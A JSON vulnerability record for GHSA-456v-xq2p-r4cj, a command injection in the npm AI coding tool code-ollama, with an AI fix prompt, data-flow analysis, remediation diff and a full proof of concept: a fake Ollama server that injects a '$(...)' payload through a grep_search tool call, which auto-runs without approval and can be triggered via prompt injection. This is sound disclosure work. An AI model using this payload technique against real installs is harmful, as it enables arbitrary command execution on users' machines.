{"answers":{"affected":"2 open source packages ship an affected version, including code-ollama.","exploited":"There is no known exploitation of GHSA-456v-xq2p-r4cj in the wild and no public exploit code.","fix":"Upgrade code-ollama to 0.36.1 or later.","what":"GHSA-456v-xq2p-r4cj is a command injection vulnerability in code-ollama, published on 28 Sep 2026. An attacker can exploit it over the internet without logging in, with no action from the victim."},"fix_prompt":"Check this codebase for GHSA-456v-xq2p-r4cj and fix it if it is affected.\n\nWhat it is: GHSA-456v-xq2p-r4cj is a command injection vulnerability in code-ollama, published on 28 Sep 2026. An attacker can exploit it over the internet without logging in, with no action from the victim.\nExploitation: There is no known exploitation of GHSA-456v-xq2p-r4cj in the wild and no public exploit code.\n\nAffected packages and fixed versions:\n- code-ollama (npm): affected all versions; fixed in 0.36.1\n- code-ollama (npm): affected all versions; fixed in 0.36.1\n\nTask:\n1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.\n2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.\n3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.\n4. Run the tests and summarise what changed and why.\n5. If nothing in the project is affected, say so and change nothing.\n\nReference: https://insights.sbomify.com/GHSA-456v-xq2p-r4cj/ (Markdown: https://insights.sbomify.com/GHSA-456v-xq2p-r4cj/index.md)","id":"GHSA-456v-xq2p-r4cj","markdown":"https://insights.sbomify.com/GHSA-456v-xq2p-r4cj/index.md","name":"GHSA-456v-xq2p-r4cj","record":{"aliases":[],"analysis":{"component_type":"developer_tool","fix_type":"patch","impacts":["code_execution"],"network_reachable":"yes","non_default_config":false,"product_category":"Ollama CLI tool","requires_auth":"none","summary":"A malicious Ollama server can execute arbitrary OS commands on the local machine via unescaped shell substitution in the grep_search tool.","user_interaction":"not_required","vuln_class":"command_injection"},"analysis_generated_by":"qwen3.8-flash-next","assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"## `grep_search` Command Injection via Unescaped `$()` Shell Substitution (CWE-78)\n\n### Summary\n\nThe `grep_search` tool in `code-ollama` constructs a shell command string by interpolating attacker-controlled `pattern` and `path` arguments, then executes it via `child_process.exec()`. The sanitization only escapes backslashes and double-quote characters, leaving `$()` command substitution and backtick expansion fully intact. A malicious or compromised Ollama server can therefore inject and execute arbitrary OS commands with the privileges of the local user running `code-ollama`. Because `grep_search` is classified as a read-only tool, it auto-executes in Plan mode without any user approval prompt, making this a no-interaction-required exploitation path. Severity is **High (CVSS 7.8)**.\n\n### Details\n\n**Vulnerable sink — `src/utils/tools/filesystem/grep.ts:58-66`**\n\n```ts\nconst escapedPattern = searchPattern\n  .replace(/\\\\/g, '\\\\\\\\')\n  .replace(/\"/g, '\\\\\"');\nconst escapedDirPath = dirPath.replace(/\\\\/g, '\\\\\\\\').replace(/\"/g, '\\\\\"');\n\nconst { stdout } = await execShell(\n  `rg --line-number --no-heading --smart-case \"${escapedPattern}\" \"${escapedDirPath}\"`,\n);\n```\n\nOnly `\\` and `\"` are neutralized. The shell metacharacter sequence `$()` (and backtick-style `` ` `` substitution) is passed through unmodified. The resulting string is passed to `execShell()` (`src/utils/tools/shell.ts:46-49`), which calls `exec` — the promisified `child_process.exec` defined at `src/utils/node.ts:1-4` — causing `/bin/sh` to interpret the entire string and expand any embedded command substitution.\n\n**Full data-flow path (source → sink)**\n\n| Step | Location | Action |\n|------|----------|--------|\n| 1 | `src/utils/ollama.ts:102-103` | External Ollama chat stream delivers `chunk.message.tool_calls` to the CLI |\n| 2 | `src/cli.ts:147-148` | Each `toolCall` is forwarded to `tools.executeToolCall()` |\n| 3 | `src/utils/tools/dispatcher.ts:300-306` | Dispatcher normalizes the call and routes it |\n| 4 | `src/utils/tools/dispatcher.ts:392-393` | `stringArgs.pattern` and `stringArgs.path` are passed verbatim to `grepSearch()` |\n| 5 | `src/utils/tools/filesystem/grep.ts:58-63` | Incomplete sanitization: only `\\` and `\"` are escaped (**root cause**) |\n| 6 | `src/utils/tools/filesystem/grep.ts:65` | Shell command string assembled and handed to `execShell()` (**sink**) |\n| 7 | `src/utils/tools/shell.ts:46-49` → `src/utils/node.ts:1-4` | `exec()` (`child_process.exec`) executes the string via `/bin/sh` |\n\n**Approval-bypass amplifier**\n\n`grep_search` is listed in `READ_TOOL_NAMES` at `src/constants/tool.ts:14-20` and is exposed in Plan mode at `src/utils/tools/definitions.ts:225-228`. Read-only tools execute automatically without presenting an approval prompt to the user, so exploitation requires zero user interaction beyond the initial `code-ollama run` invocation.\n\n### PoC\n\n**Prerequisites**\n\n- `code-ollama` v0.36.0 installed (e.g., `npm install --global code-ollama@0.36.0` or built from source via the Dockerfile below).\n- `ripgrep` (`rg`) available in `PATH` (the vulnerable code path requires it).\n- Python 3 available to run the fake Ollama server.\n\n**Step 1 — Build the self-contained Docker image (recommended)**\n\n```sh\n# From the report root directory (where vuln-001/ lives)\ndocker build -t vuln001-code-ollama -f vuln-001/Dockerfile .\ndocker run --rm vuln001-code-ollama\n```\n\nThe container automatically runs `poc.py` as `CMD`. Successful exploitation prints:\n\n```\n[+] EXPLOITATION CONFIRMED\n[+] Marker file : /tmp/poc-evidence\n[+] Contents    : 'uid=0(root) gid=0(root) groups=0(root)'\n```\n\n**Step 2 — Manual reproduction (bare-metal)**\n\n```sh\n# Terminal 1 — start the malicious Ollama server\ncat \u003e /tmp/fake-ollama.py \u003c\u003c'PY'\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nimport json, sys, threading\n\n_req = 0\n_lock = threading.Lock()\n\nclass H(BaseHTTPRequestHandler):\n    def log_message(self, *a): pass\n    def do_GET(self):\n        self.send_response(200); self.end_headers()\n        self.wfile.write(b\"Ollama is running\")\n    def do_POST(self):\n        global _req\n        l = int(self.headers.get(\"Content-Length\", 0))\n        self.rfile.read(l)\n        with _lock:\n            _req += 1; n = _req\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"application/x-ndjson\")\n        self.end_headers()\n        if n == 1:\n            chunk = {\"model\":\"fake\",\"message\":{\"role\":\"assistant\",\"content\":\"\",\n                \"tool_calls\":[{\"function\":{\"name\":\"grep_search\",\n                    \"arguments\":{\"pattern\":\"$(id\u003e/tmp/poc-evidence)\",\"path\":\"/tmp\"}}}]},\n                \"done\":True,\"done_reason\":\"stop\"}\n        else:\n            chunk = {\"model\":\"fake\",\"message\":{\"role\":\"assistant\",\"content\":\"Done.\"},\n                \"done\":True,\"done_reason\":\"stop\"}\n        self.wfile.write((json.dumps(chunk)+\"\\n\").encode())\n        self.wfile.flush()\n\nHTTPServer((\"127.0.0.1\", 11434), H).serve_forever()\nPY\npython3 /tmp/fake-ollama.py \u0026\n\n# Terminal 2 — run code-ollama against the fake server\nrm -f /tmp/poc-evidence\nOLLAMA_HOST=http://127.0.0.1:11434 code-ollama run --trust fake \"search the code\"\ncat /tmp/poc-evidence   # expected: uid=... gid=... groups=...\n```\n\n**Explanation of the payload**\n\nThe `pattern` argument value `$(id\u003e/tmp/poc-evidence)` survives the sanitization in `grep.ts:58-63` because only `\\` and `\"` are stripped. When the resulting shell string\n\n```\nrg --line-number --no-heading --smart-case \"$(id\u003e/tmp/poc-evidence)\" \"/tmp\"\n```\n\nis executed by `/bin/sh` via `child_process.exec`, the shell expands `$()` first, running `id` and writing its output to `/tmp/poc-evidence` before `rg` ever starts.\n\n**Remediation**\n\nReplace the shell-string construction with an argument-vector call to avoid the shell entirely:\n\n```diff\n-import { execShell } from '../shell';\n+import { execFile } from '../../node';\n+\n+const RG_EXEC_OPTIONS = { timeout: 30_000, maxBuffer: 1024 * 1024 };\n\n-      const escapedPattern = searchPattern\n-        .replace(/\\\\/g, '\\\\\\\\')\n-        .replace(/\"/g, '\\\\\"');\n-      const escapedDirPath = dirPath\n-        .replace(/\\\\/g, '\\\\\\\\')\n-        .replace(/\"/g, '\\\\\"');\n-\n-      const { stdout } = await execShell(\n-        `rg --line-number --no-heading --smart-case \"${escapedPattern}\" \"${escapedDirPath}\"`,\n-      );\n+      const { stdout } = await execFile(\n+        'rg',\n+        ['--line-number', '--no-heading', '--smart-case', '--', searchPattern, dirPath],\n+        RG_EXEC_OPTIONS,\n+      );\n```\n\n### Impact\n\nThis is an **OS Command Injection** vulnerability (CWE-78). Any party that controls the Ollama server response — including a rogue model backend, a prompt-injection payload that manipulates the model into issuing a crafted `grep_search` tool call, or a network adversary performing a man-in-the-middle attack on an unencrypted `OLLAMA_HOST` connection — can execute arbitrary commands as the OS user running `code-ollama`.\n\nImpact scope:\n\n- **Confidentiality (High)** — attacker can read any file accessible to the user, exfiltrate source code, secrets, SSH keys, etc.\n- **Integrity (High)** — attacker can modify or delete files, plant backdoors, alter repository history.\n- **Availability (High)** — attacker can terminate processes, corrupt data, or consume system resources.\n\nThe approval-bypass via `READ_TOOL_NAMES` / Plan-mode auto-execution means the attack completes silently with no user interaction after `code-ollama run` is invoked. Developers, CI pipelines, and IDE-integrated users who run `code-ollama` in trusted directories are all at risk.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# VULN-001: grep_search Command Injection — CWE-78\n# Target: ai-action/code-ollama v0.36.0\n# Proof-of-concept Docker image: builds the repo and runs poc.py\n#\n# Build (from project root):\n#   docker build -t vuln001-code-ollama -f vuln-001/Dockerfile .\n# Run:\n#   docker run --rm vuln001-code-ollama\n\nFROM node:24-slim\n\n# ripgrep  — required by grepSearch() in the vuln","ecosystems":["npm"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":true,"headline":"code-ollama: `grep_search` Command Injection via Unescaped `$()` Shell Substitution (CWE-78)","id":"GHSA-456v-xq2p-r4cj","indexable":true,"kev":null,"kind":"advisory","links":{"ecosystem":"npm","product":null,"products":[],"type":"command_injection","year":"2026"},"n_packages":2,"n_references":null,"packages":[{"ecosystem":"npm","fixed":["0.36.1"],"introduced":["0"],"last_affected":[],"package":"code-ollama","purl":null,"source":"GHSA-456v-xq2p-r4cj"},{"ecosystem":"npm","fixed":["0.36.1"],"introduced":["0"],"last_affected":[],"package":"code-ollama","purl":"pkg:npm/code-ollama","source":"GHSA-456v-xq2p-r4cj"}],"products":null,"published":"2026-09-28","related":[],"sources":[{"class":"attribution","licence":"CC BY 4.0","name":"GitHub Advisory Database","prefix":"GHSA"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":"A malicious Ollama server can execute arbitrary OS commands on the local machine via unescaped shell substitution in the grep_search tool.","url":"https://insights.sbomify.com/GHSA-456v-xq2p-r4cj/"}